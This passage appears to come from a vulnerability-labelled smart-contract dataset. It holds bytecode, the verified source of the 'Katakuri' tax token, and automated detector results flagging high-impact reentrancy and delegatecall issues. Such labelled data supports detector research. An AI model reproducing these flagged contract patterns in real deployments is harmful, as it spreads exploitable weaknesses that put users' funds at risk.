14156102ef576102e8610436565b3b151590565b6101d46104bf565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610431573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61046481610517565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104c7610436565b6001600160a01b0316336001600160a01b031614156101d45760405162461bcd60e51b81526004018080602001828103825260328152602001806105806032913960400191505060405180910390fd5b610520816103df565b61055b5760405162461bcd60e51b815260040180806020018281038252603b8152602001806105e8603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220b6a520cdedb146d52524706ecaeaf58c7a523bbe6d512cb4b90309bf13245db664736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
| 6,244 |
0x55b9e38cfA661e87c5b996407A4e3F3769E2427A
|
/**
*Submitted for verification at Etherscan.io on 2021-11-05
*/
// SPDX-License-Identifier: MIT
// Telegram: t.me/katakuritoken
pragma solidity ^0.8.4;
address constant WALLET_ADDRESS = 0xE54Bc4D497CAAE6285ed91F854B585b3F054c307;
uint256 constant TOTAL_SUPPLY = 10000000000;
string constant TOKEN_NAME = "Katakuri";
string constant TOKEN_SYMBOL = "KATAKURI";
uint256 constant INITIAL_TAX=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Katakuri is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _rateLimit=TOTAL_SUPPLY;
uint256 private _tax=INITIAL_TAX;
address payable private _taxWallet= payable(WALLET_ADDRESS);
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router= IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function tax() public view returns (uint256){
return _tax;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
_swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
_sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function _sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
_sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTransferAmounts(tAmount, _tax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getReceiveAmounts(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTransferAmounts(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(2).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getReceiveAmounts(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102df578063c9567bf91461031c578063dd62ed3e14610333578063f429389014610370576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b411461028957806399c8d556146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610387565b60405161011a9190612181565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611d71565b6103c4565b6040516101579190612166565b60405180910390f35b34801561016c57600080fd5b506101756103e2565b60405161018291906122e3565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611d1e565b6103ec565b6040516101bf9190612166565b60405180910390f35b3480156101d457600080fd5b506101dd6104c5565b6040516101ea9190612358565b60405180910390f35b3480156101ff57600080fd5b506102086104ca565b005b34801561021657600080fd5b50610231600480360381019061022c9190611c84565b610544565b60405161023e91906122e3565b60405180910390f35b34801561025357600080fd5b5061025c610595565b005b34801561026a57600080fd5b506102736106e8565b6040516102809190612098565b60405180910390f35b34801561029557600080fd5b5061029e610711565b6040516102ab9190612181565b60405180910390f35b3480156102c057600080fd5b506102c961074e565b6040516102d691906122e3565b60405180910390f35b3480156102eb57600080fd5b5061030660048036038101906103019190611d71565b610758565b6040516103139190612166565b60405180910390f35b34801561032857600080fd5b50610331610776565b005b34801561033f57600080fd5b5061035a60048036038101906103559190611cde565b610c8a565b60405161036791906122e3565b60405180910390f35b34801561037c57600080fd5b50610385610d11565b005b60606040518060400160405280600881526020017f4b6174616b757269000000000000000000000000000000000000000000000000815250905090565b60006103d86103d1610d83565b8484610d8b565b6001905092915050565b6000600354905090565b60006103f9848484610f56565b6104ba84610405610d83565b6104b58560405180606001604052806028815260200161293360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046b610d83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b89092919063ffffffff16565b610d8b565b600190509392505050565b600090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661050b610d83565b73ffffffffffffffffffffffffffffffffffffffff161461052b57600080fd5b600061053630610544565b90506105418161121c565b50565b600061058e600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a4565b9050919050565b61059d610d83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062190612263565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4b4154414b555249000000000000000000000000000000000000000000000000815250905090565b6000600754905090565b600061076c610765610d83565b8484610f56565b6001905092915050565b61077e610d83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080290612263565b60405180910390fd5b600a60149054906101000a900460ff161561085b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085290612203565b60405180910390fd5b61088a30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600354610d8b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f257600080fd5b505afa158015610906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092a9190611cb1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109ae57600080fd5b505afa1580156109c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e69190611cb1565b6040518363ffffffff1660e01b8152600401610a039291906120b3565b602060405180830381600087803b158015610a1d57600080fd5b505af1158015610a31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a559190611cb1565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ade30610544565b600080610ae96106e8565b426040518863ffffffff1660e01b8152600401610b0b96959493929190612105565b6060604051808303818588803b158015610b2457600080fd5b505af1158015610b38573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b5d9190611dde565b5050506001600a60166101000a81548160ff0219169083151502179055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c359291906120dc565b602060405180830381600087803b158015610c4f57600080fd5b505af1158015610c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c879190611db1565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d52610d83565b73ffffffffffffffffffffffffffffffffffffffff1614610d7257600080fd5b6000479050610d8081611512565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df2906122c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e62906121e3565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f4991906122e3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd906122a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d906121a3565b60405180910390fd5b60008111611079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107090612283565b60405180910390fd5b6110816106e8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110ef57506110bf6106e8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111a857600a60159054906101000a900460ff1615801561115f5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111775750600a60169054906101000a900460ff165b156111a75761118d61118830610544565b61121c565b600047905060008111156111a5576111a447611512565b5b505b5b6111b383838361157e565b505050565b6000838311158290611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f79190612181565b60405180910390fd5b506000838561120f91906124a9565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561125457611253612604565b5b6040519080825280602002602001820160405280156112825781602001602082028036833780820191505090505b509050308160008151811061129a576112996125d5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561133c57600080fd5b505afa158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190611cb1565b81600181518110611388576113876125d5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506113ef30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d8b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114539594939291906122fe565b600060405180830381600087803b15801561146d57600080fd5b505af1158015611481573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b60006004548211156114eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e2906121c3565b60405180910390fd5b60006114f561158e565b905061150a81846115b990919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561157a573d6000803e3d6000fd5b5050565b611589838383611603565b505050565b600080600061159b6117ce565b915091506115b281836115b990919063ffffffff16565b9250505090565b60006115fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061181b565b905092915050565b6000806000806000806116158761187e565b95509550955095509550955061167386600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e390919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061170885600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192d90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117548161198b565b61175e8483611a48565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117bb91906122e3565b60405180910390a3505050505050505050565b60008060006004549050600060035490506117f66003546004546115b990919063ffffffff16565b82101561180e57600454600354935093505050611817565b81819350935050505b9091565b60008083118290611862576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118599190612181565b60405180910390fd5b5060008385611871919061241e565b9050809150509392505050565b60008060008060008060008060006118988a600754611a82565b92509250925060006118a861158e565b905060008060006118bb8e878787611b17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061192583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b8565b905092915050565b600080828461193c91906123c8565b905083811015611981576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197890612223565b60405180910390fd5b8091505092915050565b600061199561158e565b905060006119ac8284611ba090919063ffffffff16565b9050611a0081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192d90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611a5d826004546118e390919063ffffffff16565b600481905550611a788160055461192d90919063ffffffff16565b6005819055505050565b600080600080611aaf6064611aa1600289611ba090919063ffffffff16565b6115b990919063ffffffff16565b90506000611ad96064611acb888a611ba090919063ffffffff16565b6115b990919063ffffffff16565b90506000611b0282611af4858b6118e390919063ffffffff16565b6118e390919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611b308589611ba090919063ffffffff16565b90506000611b478689611ba090919063ffffffff16565b90506000611b5e8789611ba090919063ffffffff16565b90506000611b8782611b7985876118e390919063ffffffff16565b6118e390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611bb35760009050611c15565b60008284611bc1919061244f565b9050828482611bd0919061241e565b14611c10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0790612243565b60405180910390fd5b809150505b92915050565b600081359050611c2a816128ed565b92915050565b600081519050611c3f816128ed565b92915050565b600081519050611c5481612904565b92915050565b600081359050611c698161291b565b92915050565b600081519050611c7e8161291b565b92915050565b600060208284031215611c9a57611c99612633565b5b6000611ca884828501611c1b565b91505092915050565b600060208284031215611cc757611cc6612633565b5b6000611cd584828501611c30565b91505092915050565b60008060408385031215611cf557611cf4612633565b5b6000611d0385828601611c1b565b9250506020611d1485828601611c1b565b9150509250929050565b600080600060608486031215611d3757611d36612633565b5b6000611d4586828701611c1b565b9350506020611d5686828701611c1b565b9250506040611d6786828701611c5a565b9150509250925092565b60008060408385031215611d8857611d87612633565b5b6000611d9685828601611c1b565b9250506020611da785828601611c5a565b9150509250929050565b600060208284031215611dc757611dc6612633565b5b6000611dd584828501611c45565b91505092915050565b600080600060608486031215611df757611df6612633565b5b6000611e0586828701611c6f565b9350506020611e1686828701611c6f565b9250506040611e2786828701611c6f565b9150509250925092565b6000611e3d8383611e49565b60208301905092915050565b611e52816124dd565b82525050565b611e61816124dd565b82525050565b6000611e7282612383565b611e7c81856123a6565b9350611e8783612373565b8060005b83811015611eb8578151611e9f8882611e31565b9750611eaa83612399565b925050600181019050611e8b565b5085935050505092915050565b611ece816124ef565b82525050565b611edd81612532565b82525050565b6000611eee8261238e565b611ef881856123b7565b9350611f08818560208601612544565b611f1181612638565b840191505092915050565b6000611f296023836123b7565b9150611f3482612649565b604082019050919050565b6000611f4c602a836123b7565b9150611f5782612698565b604082019050919050565b6000611f6f6022836123b7565b9150611f7a826126e7565b604082019050919050565b6000611f926017836123b7565b9150611f9d82612736565b602082019050919050565b6000611fb5601b836123b7565b9150611fc08261275f565b602082019050919050565b6000611fd86021836123b7565b9150611fe382612788565b604082019050919050565b6000611ffb6020836123b7565b9150612006826127d7565b602082019050919050565b600061201e6029836123b7565b915061202982612800565b604082019050919050565b60006120416025836123b7565b915061204c8261284f565b604082019050919050565b60006120646024836123b7565b915061206f8261289e565b604082019050919050565b6120838161251b565b82525050565b61209281612525565b82525050565b60006020820190506120ad6000830184611e58565b92915050565b60006040820190506120c86000830185611e58565b6120d56020830184611e58565b9392505050565b60006040820190506120f16000830185611e58565b6120fe602083018461207a565b9392505050565b600060c08201905061211a6000830189611e58565b612127602083018861207a565b6121346040830187611ed4565b6121416060830186611ed4565b61214e6080830185611e58565b61215b60a083018461207a565b979650505050505050565b600060208201905061217b6000830184611ec5565b92915050565b6000602082019050818103600083015261219b8184611ee3565b905092915050565b600060208201905081810360008301526121bc81611f1c565b9050919050565b600060208201905081810360008301526121dc81611f3f565b9050919050565b600060208201905081810360008301526121fc81611f62565b9050919050565b6000602082019050818103600083015261221c81611f85565b9050919050565b6000602082019050818103600083015261223c81611fa8565b9050919050565b6000602082019050818103600083015261225c81611fcb565b9050919050565b6000602082019050818103600083015261227c81611fee565b9050919050565b6000602082019050818103600083015261229c81612011565b9050919050565b600060208201905081810360008301526122bc81612034565b9050919050565b600060208201905081810360008301526122dc81612057565b9050919050565b60006020820190506122f8600083018461207a565b92915050565b600060a082019050612313600083018861207a565b6123206020830187611ed4565b81810360408301526123328186611e67565b90506123416060830185611e58565b61234e608083018461207a565b9695505050505050565b600060208201905061236d6000830184612089565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006123d38261251b565b91506123de8361251b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561241357612412612577565b5b828201905092915050565b60006124298261251b565b91506124348361251b565b925082612444576124436125a6565b5b828204905092915050565b600061245a8261251b565b91506124658361251b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561249e5761249d612577565b5b828202905092915050565b60006124b48261251b565b91506124bf8361251b565b9250828210156124d2576124d1612577565b5b828203905092915050565b60006124e8826124fb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061253d8261251b565b9050919050565b60005b83811015612562578082015181840152602081019050612547565b83811115612571576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6128f6816124dd565b811461290157600080fd5b50565b61290d816124ef565b811461291857600080fd5b50565b6129248161251b565b811461292f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220645e6750961f5c618ec6da4fc37dd3c63ca4d35b97fc6790ab82a1892d971c4564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,245 |
0x709315f2c3a085710241d973d626275cfe9993a3
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
/**
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
